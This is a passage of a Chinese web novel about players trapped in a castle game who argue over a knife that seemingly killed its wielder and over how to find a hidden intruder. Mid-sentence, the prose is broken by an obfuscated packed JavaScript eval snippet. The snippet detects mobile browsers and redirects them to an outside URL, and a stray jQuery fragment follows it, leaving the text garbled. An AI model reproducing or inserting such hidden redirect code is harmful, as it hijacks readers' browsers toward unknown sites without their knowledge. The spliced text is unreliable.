众人听到这句话,第一反应都是四号是不是被吓得精神失常了。九号的伤口显而易见,凶器就是那把刀,这还用特别强调什么吗?
看到周围人怀疑的眼神,四号深吸了一口气,又看向了趴在地上的那个人:“我刚才听到外面有动静,就开门出来看。我看到这个人倒在地上一动不动,九号在他后面,手里拿着一把滴血的刀。他看见了我,目光特别凶狠。我以为他要杀我灭口,正要关门躲回房间里,就看到他手里的那把刀忽然挣脱开了他的手,在空中转了一圈,直插进了他的脖子。”
“你说那把刀自己会动,还杀了人?”周围的人明显不信,这听起来太匪夷所思了。如果说这里出现了什么妖魔鬼怪他们都可以理解,但要说那把再普通不过的水果刀杀人,这他们是如何也无法相信的。
“我说的都是真的。”四号焦急的望向周围的人,企图让大家相信。
“从现场的痕迹来看,她说的应该是真的。”一个皮肤稍黑,三十多岁的男人站出来说:“九号脖子上的这个伤口会喷溅大量血液,如果有人持刀杀了他,凶手身上也会溅上很多血迹。现在所有人都在这里了,没有人身上有明显的血迹,所以杀死九号的不是在场的人。”
他说到这里抬头看向了一边的墙面:“那里有一大片喷射上去的新鲜血迹,九号被刺中的时候如果站在第一个死者身后的位置,伤口喷射出来的血迹刚好会落在那个位置。”
五号顺着他的痕迹看了看,目光落在他身上:“你是警察吗?”
那人点点头:“是,但我是个交警,主要做痕迹鉴定的。”
在场的虽然没有其他专业人士,但听他这么一说也能看出个大概,他说的应该没错。
交警又上前仔细看了看两个死者之间地面上的痕迹:“这里没有专业的设备我只能看个大概,刚才的情况应该是九号从这边的楼梯冲出来,从背后划开了快要走到十号房门前的第一位死者的脖子,将他向前推倒在地上。然后九号手里的刀从他手中挣脱,刺进了他的脖子。他向后退了两步,仰面倒在了地上。”
众人看着眼前的场景再结合交警的话,都觉得这差不多就是事实了,但仍然觉得不可思议。九号脖子上的那把刀就是城堡里提供的水果刀,他可能是偷拿了一把在这里准备杀人,但这把刀怎么会忽然活了,如果这里的刀都能自己杀人,这也太可怕了。
有胆大的凑过把趴着的尸体翻过来,看了看死者的脸,惊诧的“诶”了一声,问旁边的人:“这是不是十五号?”
十五号很少说话,没什么存在感,大家对他的印象都不深,都想了想才确定是他。
“十五号不是应该住在三层么,怎么会死在二层?”说话的人看了一眼十号门上溅上的几滴血迹:“他是在十号门前死的,不会是来找十号的吧。十号,你们认识?”
忽然被点到名的十号立刻摆手:“我不认识他啊,从来没说过话,谁知道他来二层干什么?”
时晚听到这里,大概猜到了这是怎么一回事。
九号觉得今晚那个很可能是闯入者的凶手可能还会动手,就拿了一把刀躲在楼梯上暗中观察,然后他就看到了去了二层的十五号,可能是觉得他鬼鬼祟祟形迹可疑,认为他是来杀人的,就把十五号杀了,然后被四号目击到了。
“先别管十五号为什么来二层了,他死了城堡里没有出现任何变化,证明他应该不是闯入者。”八号开口吸引了大家的注意:“九号肯定也不是,不过他被杀验证了一条规则。杀人不能被任何人看到,一旦被看到就会被当做杀人犯清理掉。你们也知道了,被清除的人连反应的机会都没有。”
他目光冰冷的看向所有人:“所以大家都不要轻举妄动,等我们找到更多的闯入者的信息再一起动手,这不是对所有人都最有利的办法吗?”
在场的绝大部分闯关人本来也没想动手,尽管大家都不是什么好人,但要亲手杀人还是很难下去这个手的,何况现在也没到什么危急关头。于是所有人都答应下来,看没什么事了就各自回了房间。
时晚躺在床上,暗自计划明天去九号和十五号房间里看看他们的画有没有发生变化,她总觉得这里面一定隐藏着一些秘密。不过今晚应该不会发生什么事情了,她可以好好睡一觉。
但她没想到的是,第二天早晨她还是被一阵吵闹声从床上叫起来的。
三层的楼道里一个看上去四十多岁身材十分瘦小的男人明显有点崩溃,时晚开门出去的时候他正在对着八号大喊大叫。
“你让我们不要轻举妄动,可有人就能杀人成功啊!和二号一模一样,没有任何痕迹。我们要等到什么时候才能找到线索,我们恐怕都死绝了也找不到那个闯入者吧!”
八号只是冷冷的看着他:“你可以不听我的,去杀你觉得像是闯入者的人,九号就是个很好的例子。”
男人被噎了一下,但随即又扑了过去:“我觉得你就像闯入者,一直让我们不要动手,你一个人去杀人。”
八号一把将他推开:“你要在大庭广众之下杀我吗?你还没能杀掉我你就先死了吧。”
男人听到更加愤怒,再次扑上去就要打八号。
眼看着两个人就要打起来,周围的人七手八脚的把两个人分开了。
“还没找到闯入者,别自己就先乱起来了。”五号说着,将目光投向了时晚和沈昱初:“你们昨晚也没有听到任何动静吗?”
这一次死的人是十九号,就住在他们对面的房间。而他们昨晚却什么也没有听到,只能各自摇了摇头。
刚才在和八号吵架的是十七号,就住在十九号隔壁,正是因为他也什么都没有听到这才觉得崩溃。
另一边的二十一号也什么都没有听到,现在的情况和前一天一模一样。
而十九号的死状也和二号完全相同,连倒在地上的位置都差不多。看到二号的尸体绝大多数人尚且能平静应对,但这一次很多人明显有点慌。
他们都觉得昨晚十五号和九号死了当晚就不会再死人了,可今天却依然死了一个人,这基本已经验证闯入者会一天杀一个人。
这导致早餐的时候气氛很沉闷,原本就不怎么说话的人就更不开口了,只是在心里盘算着什么。
“昨天晚上九号杀十五号的时候四号就听到了,也可能还有更多的人听到,这说明发现别人杀人其实不难。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366774|192883||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可连着两个晚上了,闯入者杀了两个人,却没有一个人听到半点动静,这足以证明他杀人比我们容易多了。”十七号的精神状态不太好,坐在餐桌旁还在不停碎碎念。
八号头痛的捏了捏眉心,这个闯入者藏在他们中间,他甚至不需要挑拨什么,只要每天杀一个人,就能让闯关人们原本就几乎不存在的信任消失的无影无踪。如果这些人乱起来,他们只会团灭的更快。
“既然我们中间只有一个闯入者,那我们不如讲讲自己的事,看看能不能推测出闯入者是谁。”五号放下筷子忽然开口。
沈昱初听闻侧头暗暗与时晚对视一眼,都有些无奈。他们之前就讨论过,这个方法并不可行,但却是一个必经过程,即使所有人都觉得希望渺茫,但也得试一次才能死心。
“要讲什么?我们大家都不认识,讲自己的事情也无法判断真假。”交警是十一号,坐在餐桌几乎是正中间的位置,一开口很有种领导开会的感觉:“难道要我们在完全没有确定线索的情况下通过逻辑漏洞找出谁在说谎吗?”
听到这句话,周围的人也开始小声议论,毕竟谁也不想透露自己的真实信息,必然都会说谎,这要是被人当做闯入者找出来,这就不太好了。
“不用说每个人的真实信息。”五号说:“每个人讲讲自己的前四个关卡,万一有论坛上提到过的关卡,我们可以听听他讲的是不是真的。”
“如果是论坛上没有的关卡呢?”有人问。
“大家都到这了,想必对关卡都有一些了解,如果有人说的过关内容是乱编的,大家应该都能听得出来吧。”五号信心满满的说,随后将目光转向餐桌的前端:“那就按顺序,从一号开始讲吧。”
时晚一听这个方法就觉得不靠谱,或者说五号提出这个办法从一开始就是为了安抚人心。所有人的故事讲到最后,找出真正闯入者的可能性微乎其微,但有可能会选出一个或者好几个可疑人选,这些人就会被当成靶子。毕竟现在对于大部分人来说闯入者的威胁是实打实的,只要死的不是自己,宁可错杀三千不能放过一个这种事是完全可以做的。
所有人依次讲了自己的前四个关卡,结果不出所料的没有明显的漏洞。但所讲的关卡能够在论坛上找到的就有了优势,那些所讲的关卡其他人都从未听说的人就成了怀疑对象,加上有些人并不擅长讲故事,就更是成了重点被攻击的人。
那些人自然对这种毫无意义的办法感到恼怒,纷纷开始攻击其他人,一时间似乎谁说的都有道理,又好像每个人都在无理取闹。餐厅第一次如此热闹,几乎所有人都吵做了一团。时晚和沈昱初不太想参与这件事,但又不想太过于突出,只能混在里面也偶尔吵几句。
最终还是八号出言制止了争吵:“都别吵了,我们大家都是一条船上的,现在互相怀疑是想让船翻了吗,让闯入者看笑话?”
“现在他可以轻松的一天杀一个人,难道就没有在看我们的笑话吗?”有人立刻回到。
八号还没想好该如何开口安抚他们,本就濒临崩溃的十七号忽然拍案而起,疯狂的大叫着:“既然闯入者就在我们中间,那就把所有人都杀了,总能杀到那个人的!”